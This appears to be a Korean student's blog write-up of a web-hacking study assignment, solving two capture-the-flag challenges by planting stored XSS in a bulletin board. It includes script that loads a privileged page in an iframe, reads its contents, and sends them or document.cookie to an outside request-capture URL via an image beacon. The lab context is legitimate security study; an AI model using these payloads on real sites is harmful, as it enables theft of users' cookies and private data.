-
11주차 과제모의해킹스터디_과제 2024. 1. 17. 17:47
[1] 오늘 수업 내용 정리[2] Basic Script Prac 문제 풀이![3] Steal Info, Steal Info2
[4] 문제풀이 블로그 정리
[5] 웹 개발
[3] Steal Info, Steal Info2 / [4] 문제풀이 정리
이번엔 문제가 두 개밖에 없다. 문제풀이가 배운 내용 익히기에는 최고인데 살짝 아쉽긴 하다.
1. ClientScript 문제 Basic Script Prac은 수업 시간에 거의 풀었던 문제라 넘어가고, Steal Info와 Steal Info 2가 이번주 과제였다.
글을 쓰고 있는 지금은 다 풀고 난 이후이긴 한데, 이상한 곳에서 막혀가지고 푸는 데 시간이 오래 걸렸다.
문제가 두 개 이상이었으면 한 주 안에 못 끝냈을 지도..
Steal Info
2. Steal Info 이번 문제는 뭔가 많다..
일단 관리자 방문 Bot Link가 있는 걸 보니, 이번에도 쿠키 탈취처럼 공격자 페이지 쪽으로 데이터를 전달하는 것 같다.
일단 하나씩 들어가본다.
3. 중요 페이지와 똑같은 페이지 중요 정보가 들어있는 페이지와 똑같다는 페이지는 이렇게 생겼다. 내 정보에 This is a Very Secret Info. 라고 적혀 있는 걸 보니 실제 중요 정보가 있는 페이지에서 이 부분을 가져오면 될 것 같다.
4. 실제 중요 정보가 있는 페이지 다음으로 실제 중요 정보가 있는 페이지는 이렇게 권한이 없다고 보여진다.
5. 실제 중요 정보 페이지 응답기록 Burp Suite로 살펴봐도 별 내용이 없다. 이 페이지는 더 이상 볼 게 없다고 생각된다.
6. 관리자 방문 Bot Link 관리자 페이지는 변함이 없다. Burp Suite 브라우저로 들어갈 수 없어서 크롬으로 따로 들어가야 하는 게 번거로울 뿐이다.
7. XSS 취약점 페이지 마지막으로 문제의 메인 페이지인데, 문제에서 "XSS를 이용해 중요 정보를 탈취해라" 라고 했으니 이 페이지가 XSS 취약점이 존재하는 페이지인 것 같다.
정리를 하자면, 이 페이지에서 XSS 취약점을 찾은 후, 중요 정보가 있는 페이지의 중요 정보를 이 취약점을 통해 공격자 서버로 전달하라는 건데, 공격자 서버는 requestbin으로 만들면 되겠고, 페이지 내의 XSS 취약점을 찾은 후, iframe을 통해 중요 페이지를 불러오면 될 것 같고, document의 get 메소드로 중요 정보를 빼와서, 스크립트를 통해 전달하면 되겠다.
그럼 먼저 탈취한 정보를 받을 공격자 서버부터 만든다.
8. requestbin 공격자 서버 다음으로 메인 페이지 내의 XSS 취약점을 찾아야 한다.
9. 로그인 먼저 로그인하고, 이전 시간에 XSS 취약점을 찾을 때처럼 페이지를 둘러본 후 Burp Suite로 기록을 찾아본다.
10. 페이지 살펴보기 메인페이지, 마이페이지 다 들어가보고, 게시판에 검색도 해보고, 특수문자를 넣어서 글도 작성하고 수정도 해봤다. 이제 Burp Suite로 쌓인 기록을 둘러보면서 특이점이 있는지 살펴보자.
11. 게시판에서 XSS 취약점 생각보다 쉬운 곳이라 빠르게 찾았다. 게시판 내용이 특수문자를 그대로 표현하고 있음을 발견했다. 이제 이 부분에 원하는 스크립트를 넣으면 된다.
먼저 이번에 배운 iframe으로 중요 페이지를 불러와 보겠다.
//iframe으로 다른 페이지 불러오기 <iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targetFrame"></iframe>
중요 페이지는 권한 때문에 막혀있으니 일단 똑같은 페이지를 대신해서 넣어보고 결과를 확인해본다.
12. iframe으로 페이지 불러오기 중요 정보가 있는 페이지와 똑같은 페이지를 iframe으로 불러오는 스크립트를 삽입해서 글을 작성했다. 제목이 xss인 글이다.
13. iframe으로 불러온 화면 게시판 내용 부분에 조그맣게 페이지가 나온 것을 볼 수 있다.
14. 중요 정보 옆의 스크롤을 내리면 탈취해야 할 중요 정보도 보인다. 이제 저 정보의 객체 정보를 파악해서 document get 메소드로 불러온다.
15. 중요 정보의 document 객체 관리자 도구(f12)로 중요 정보의 객체를 살펴보니 다음과 같다.
<p class="card-text">This is a Very Secret Info.</p>
class가 명시되어 있으니 ClassName으로 찾아오면 될 것 같다.
16. ClassName으로 검색 찾아보니 ClassName이 "card-text"인 객체가 2 개다. 이럴 때는 [ ] 로 몇번째 객체인지 명시해줘야 한다.
17. [ ] 로 몇번째인지 명시 [1], 즉 2번째 객체였다. 우리가 원하는 "This is a Very Secret Info." 가 포함되어 있는 걸 볼 수 있다.
그런데 우리는 저 객체가 필요한 게 아니다. 저 객체 안의 텍스트만 가져오면 된다. 텍스트는 객체 안의 값이니 innerHTML을 사용하면 된다.
18. innerHTML로 객체 안의 텍스트만 추출 혹은 textContent를 사용해도 같은 값을 가져올 수 있다.
19. textContent로 객체 안의 텍스트만 추출 그럼 이제 중요 정보만 가져올 방법을 알았으니 다시 XSS 취약점 페이지로 돌아가서 해당 정보를 공격자 서버로 넘겨주기만 하면 끝이다.
// iframe의 객체 가져오기 <script> var targetTag = document.getElementById('targetFrame'); var DOMData = targetTag.contentDocument; DOMData.getElementById('원하는정보'); </script>
위의 스크립트를 사용하면 iframe으로 불러들인 페이지 내의 객체에 접근할 수 있다. iframe 페이지의 document 데이터를 DOMData에 넣었으니 기존의 document 대신 DOMData로 바꾸어
DOMData.getElementsByClassName("card-text")[1].textContent
로 써주면 중요 정보에 접근할 수 있게 된다.
20. 중요 정보 빼오는 스크립트 추가 그럼 iframe 페이지 내에서 중요 정보를 빼오는 스크립트를 추가하고, 확인할 수 있게 alert()로 빼온 내용을 띄워보겠다.
21. alert로 중요 정보 띄우기 잘 된다.
그럼 마지막으로 공격자 서버로 빼온 정보를 전달해 보겠다.
//Image를 이용해 쿠키 정보 전달 var cookieData = document.cookie; var i = new Image(); i.src = "https://enojq7t650j3a.x.pipedream.net?cookie=" + cookieData;
이전에도 사용했던 Image를 이용한 쿠키 정보 전달 스크립트다. 여기에 cookieData 대신 중요 정보를 넣고 공격자 서버에 보내도록 하겠다.
22. 공격자 서버에 정보 전달 스크립트 추가 새로운 image 태그를 만들어 공격자 서버로 전달하는 페이지까지 완성했다. 이제 이렇게 수정하고 결과를 확인하도록 하겠다.
23. 수정 완료 글 수정을 완료하고
24. 게시판 수정한 xss 글을 들어가보면
25. 수정된 글 iframe으로 중요 페이지가 보인다. alert()는 빼서 아무것도 안 뜨는 것이 맞다. 그럼 requestbin으로 가서 쿠키 정보가 잘 전달됐는지 확인해보겠다.
26. requestbin 결과는...
아무것도 전달되지 않았다. iframe으로 정보를 탈취한 것도 확인했는데, 그 정보를 전달하는 게 안된다.
여기서 정말 많은 시간을 헤맸다. 혹시 오타가 있나 한 글자씩 체크하고, script 태그가 아닌 img 태그, a 태그 등등도 써보고, 혹시나 하는 생각에 page redirection으로 먼저 중요 정보 페이지에 들어가고 실행해보고, 이것저것 다 해봤다.
그렇게 삽질하다가 수업 시간에 노말틱님이 하셨던 말씀 하나가 딱 생각났다.
<script> 태그는 실행되는 순서를 잘 봐야 한다.
그 말은 <script> 태그는 순서대로 실행이 되기에 뒤에 아직 load되지 않은 요소에 접근할 때는 오류가 생길 수 있다는 말이었다. 그리고 덧붙여서 모든 요소가 load되고 난 이후에 실행을 할 수 있는 DOMContentLoaded 를 사용하라 하셨다.
// 모든 요소가 load되고 난 이후에 스크립트 실행 <script> document.addEventListener("DOMContentLoaded", () => { //실행할 스크립트 }); </script>
이것이 DOMContentLoaded 스크립트다. 전에 작성했던 스크립트를 저 안에 넣고 다시 실행하면 된다.
27. DOMContentLoaded 추가 iframe 내의 객체를 가져오는 것부터 정보를 전달하는 부분까지 모두 모든 요소가 load된 이후에 실행되도록 작성했다. 이제 글을 수정한 후 다시 결과를 확인해보겠다.
28. 수정한 게시판 글 게시판 글 페이지는 똑같이 보인다. requestbin을 확인해보겠다.
29.requestbin 전달받은 정보 중요 정보가 쿠키 값으로 전달된 것을 확인할 수 있다. URL 형태로 빈 칸(스페이스)가 %20 으로 변환됐지만 decoder로 평문으로 돌리는 것은 간단하다.
그럼 중요 정보와 똑같은 페이지가 아닌 실제 중요 정보가 있는 페이지로 작성해서 결과를 보겠다.
30. 실제 중요 정보 페이지로 수정한 글 실제 중요 정보 페이지에 들어간 것처럼 권한이 없다고 나온다. 공격자 서버를 확인해보겠다.
31. requestbin 아무것도 없다.
순간 당황했다.
다시 곰곰히 생각해보니, 실제 중요 페이지는 권한이 없는 내가 아니라 관리자가 들어가야 한다. 안 나오는 것이 당연했다. iframe에서 아무것도 받아오지 못한 것 같다. 그럼 관리자 봇에게 작성한 게시판 글의 링크를 전달해서 관리자가 들어가도록 해보겠다.
32. XSS 취약점 페이지 링크 복사 링크를 복사해서
33. 관리자 봇에 링크 전달 관리자 봇이 접속하도록 했다.
34. requestbin requestbin으로 돌아가 확인해보니 쿠키값으로 새로운 값이 들어온 것을 확인했다. 중요한 정보는 당연하게 플래그였고 문제를 해결했다.
Steal Info 2
35. Steal Info 2 두번째 문제는 다른 페이지 링크는 따로 없다. admin 계정으로 마이페이지의 정보란에 Flag를 찾으면 되는 문제다. 1번과 비슷한 맥락의 문제같다. 일단 마이페이지의 정보란의 객체에 접근해본다.
36. 마이페이지 정보란 "Nothing Here..." 라고 적힌 부분이 정보란이다. 다행히 고유한 속성인 id가 있으니 id로 명시하면 될 것 같다.
37. 정보란 텍스트 id 'userInfo' 인 객체를 가져오니 바로 찾아냈고, 정보는 placeholder에 있을 것 같아 placeholder를 가져오도록 한다.
38. 게시판 문제의 페이지를 살펴보니 1번과 같은 게시판인 것 같다.
39. 게시판 XSS 취약점 글 아까 작성한 글이 맞다.
그럼 더 쉬워진다. 작성한 스크립트에서 iframe으로 가져올 페이지와 객체 부분만 수정하면 될 것 같다.
40. 수정한 게시판 글 이렇게 작성해서 관리자 봇에게 전달하도록 한다.
41. requestbin 두 번째 Flag도 획득했다.
1번 문제와 같은 맥락이라 특별히 다른 부분은 없었다.